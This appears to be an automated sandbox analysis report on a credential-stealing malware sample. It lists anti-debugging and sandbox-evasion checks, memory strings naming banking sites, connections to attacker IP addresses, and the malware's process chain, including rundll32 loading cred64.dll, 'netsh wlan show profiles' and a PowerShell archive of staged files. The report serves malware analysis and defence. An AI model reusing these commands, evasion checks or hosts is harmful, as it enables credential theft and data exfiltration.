Source: MPGPH131.exe, 0000001D.00000002.3260757823.0000000007A1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}cGVhZm1tZ2RwZmtvZ2tnaGNwaWhh2j4FMS4yLjDgPtDD9agG6D4A6D4G6D4L8D7Qw/WoBsoBWggBEAUYAiAAKAAwADgAQABIAFAAWABgAGgAeACAAQDIPgPSPiBtaGpmYm1kZ2NmamJicGFlb2pvZm9ob2VmZ2llaGphado+ATHgPtDD9agG6D4A8D7Qw/WoBsoBXggBEAUYAiAAKAAwADgAQABIAFAAWABgAGgCeACAAQDIPgPSPiBuY2JqZWxwamNoa3BiaWticGtjY2hraGtibG9kb2FtYdo+BTIuMC4y4D7Qw/WoBug+APA+0MP1qAbKAV8IARAFGAIgACgAMAA4AEAASABQAFgAYABoAngAgAEAyD4D0j4gbmtlaW1ob2dqZHBucGNjb29mcGxpaW1hYWhtYWFvbWXaPgYxLjMuMjHgPtDD9agG6D4A8D7Qw/WoBvgBsiiAAv///////////wGIAgGoAoQXsgIQd6OHVV3LMHKvjeie9v2i18o+1wcKBAgAEAASEgoCCAMSAggIGgIIASIECAAQARoPCg1ub19lbnYtbm9fdmVyIgIIAjJiCAAaLDQ3REVRcGo4SEJTYSsvVEltVys1SkNldVFlUmttNU5NcEpXWkczaFN1RlU9Ii4icFpMaFRhSjIzaE41dVF4d3p1MEsyQ1llcy9kdkp1RTkzVmJJVlYvTG5SQT0iKgA6Cwjz///v9/////8BQikSCjEuMy4xNzcuMTEYBSAAKg5SZWdLZXlOb3RGb3VuZDIHd2luZG93c1ICCAFa/AUJdZMYBFaWU0AR3SQGgZVTRkAZAAAAAAAAWUAZAAAAAAAANEAZAAAAAAAAWUAZAAAAAAAA8D8ZAAAAAAAA8D8ZAAAAAAAAAAAZAAAAAAAAAAAZAAAAAAAAWUAZAAAAAAAAWUAZAAAAAAAAWUAZAAAAAAAAWUAZAAAAAAAAWUAZAAAAAAAAWUAZAAAAAAAAWUAZAAAAAAAANEAZAAAAAAAAWUAZAAAAAAAAAAAZAAAAAAAAWUAZAAAAAAAAWUAZAAAAAAAAWUAZAAAAAAAA8D8ZAAAAAAAA8D8yFQiH9N6X29eyvKYBEggIABABIJCABDISCNvpsoebrM36GRIGCAAQASAQMhII++qnh8mYwYhfEgYIABABIBAyEgjozNnlpJyeyzkSBggAEAEgEDITCOC54qSdyuvjjgESBggAEAEgEDISCNn9xMr9td2KbRIGCAAQASAQMhIIgteJ4NSXj9E2EgYIABABIBAyEgjmzv2twIj8gn4SBggAEAEgEDIUCKfHy9mkub6BwwESBwgBEAEgkGAyFQiauYjc7KfS3OEBEggIABABIJCABDITCJnwsYm4+NWOLBIHCAEQASCQYDIUCNHJvLvV2cza5wESBwgBEAEgkGAyEwiQrNz7jbLTpQwSBwgBEAEgkGAyEgjVuuKf55342XkSBggAEAEgEDITCPeTqZiGj5aaSRIHCAEQASCQYDISCLPMhM/6sZX2NRIGCAAQASAQMhIIh6SA76Kw0u9WEgYIABABIBAyEwjcx7n5qNnem6MBEgYIABABIBAyFAjKvKW5jY/Wx+cBEgcIARABIJBgMhQIwqf5grzUgKTqARIHCAEQASCQYDIWCJiYntn49dXkggESCQgAEAEggICACDITCMuAzLDq3NSUzwESBggAEAEgEDITCIS9vZeNgI79kgESBggAEAEgEDITCP7Mx9PU/OC9iQESBggAEAEgEDISCNKq8/iqnu6OFRIGCAAQASAQMhQImuHa5M/ohPHnARIHCAEQASCQYHoCCACCAQIYAA==metameta
Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe, 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmp, explorha.exe, 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmp, explorha.exe, 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmp, amert.exe, 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmp, chrosha.exe, 0000000F.00000002.2880866448.0000000000266000.00000040.00000001.01000000.00000010.sdmp, c884f8452a.exe, 00000014.00000002.3269980553.0000000000D6E000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 0000001C.00000002.3244453808.0000000000B5E000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000002.3252347370.0000000000B5E000.00000040.00000001.01000000.00000015.sdmp, c884f8452a.exe, 00000024.00000002.3145407488.0000000000D6E000.00000040.00000001.01000000.00000014.sdmp, RageMP131.exe, 0000002D.00000002.3204809220.000000000063E000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: MPGPH131.exe, 0000001D.00000002.3260532533.0000000007940000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}u.gn,v.gn,w.gn,x.gn,y.gn,z.gn,a.hk,b.hk,c.hk,d.hk,e.hk,f.hk,g.hk,h.hk,i.hk,j.hk,k.hk,l.hk,m.hk,n.hk,o.hk,p
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: c884f8452a.exe, 00000014.00000003.2982037903.000000000811B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: billing_address_id.comVMware20,11696428
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: c884f8452a.exe, 00000014.00000003.2982037903.000000000811B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .utiitsl.comVMware20,1169642865
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: MPGPH131.exe, 0000001D.00000002.3260532533.0000000007940000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}<
Source: rundll32.exe, 00000008.00000002.2871819933.000001E17AF41000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2871819933.000001E17AE8F000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3143187486.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3143187486.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3143187486.000000000060A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: MPGPH131.exe, 0000001D.00000003.2969808776.0000000001284000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eVMware20,11696428655
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,1169642865
Source: c884f8452a.exe, 00000014.00000002.3280096095.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}-
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: c884f8452a.exe, 00000014.00000003.2980525075.0000000008111000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428(
Source: MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}ta\*
Source: MPGPH131.exe, 0000001C.00000003.2969098995.00000000013DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}p.
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: c884f8452a.exe, 00000014.00000003.2982037903.000000000811B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nickname.utiitsl.comVMware20,1169642865
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: c884f8452a.exe, 00000024.00000003.3078423333.00000000005D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ra Change Transaction PasswordVMware20,11696428655
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o.inVMware20,11696428655~
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: c884f8452a.exe, 00000014.00000003.2910333691.0000000001691000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}Cry
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RageMP131.exe, 0000002D.00000002.3206727588.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: c884f8452a.exe, 00000014.00000003.2910333691.0000000001691000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: c884f8452a.exe, 00000014.00000002.3272062949.000000000168F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000{`p
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARtive Brokers - non-EU EuropeVMware20,11696428655
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: c884f8452a.exe, 00000014.00000003.2980525075.0000000008111000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,1169642865
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}x
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: RageMP131.exe, 0000002D.00000002.3206727588.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg>_I
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: comVMware20,11696428655o
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: netsh.exe, 00000009.00000002.2741856372.000001F406E37000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000009.00000003.2741173735.000001F406E34000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 831840b410.exe, 00000010.00000002.3115654406.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: MPGPH131.exe, 0000001D.00000002.3253650821.000000000126D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(<+
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tive Brokers - non-EU EuropeVMware20,11696428655
Source: MPGPH131.exe, 0000001D.00000002.3254763388.0000000001304000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_9A5A6814
Source: MPGPH131.exe, 0000001C.00000002.3251490227.0000000007C9B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_9A5A6814ZokPL[g
Source: c884f8452a.exe, 00000024.00000002.3143187486.0000000000568000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Thread information set: HideFromDebugger
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread information set: HideFromDebugger
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Code function: 0_2_051F0A3C Start: 051F0B37 End: 051F0AAB

0_2_051F0A3C

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Code function: 0_2_051F0CAD rdtsc

0_2_051F0CAD

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Code function: 0_2_00BB7BBB mov eax, dword ptr fs:[00000030h]	0_2_00BB7BBB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Code function: 0_2_00BBB922 mov eax, dword ptr fs:[00000030h]	0_2_00BBB922
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_0073B922 mov eax, dword ptr fs:[00000030h]	2_2_0073B922
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00737BBB mov eax, dword ptr fs:[00000030h]	2_2_00737BBB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_0073B922 mov eax, dword ptr fs:[00000030h]	3_2_0073B922
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_00737BBB mov eax, dword ptr fs:[00000030h]	3_2_00737BBB
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_00395E8B mov eax, dword ptr fs:[00000030h]	14_2_00395E8B
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_00399B02 mov eax, dword ptr fs:[00000030h]	14_2_00399B02

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 193.233.132.56 80
Source: C:\Windows\System32\rundll32.exe	Network Connect: 193.233.132.167 80

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe "C:\Users\user\AppData\Local\Temp\1000054001\amert.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe "C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe "C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe "C:\Users\user\AppData\Local\Temp\1000187001\build12.exe"
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
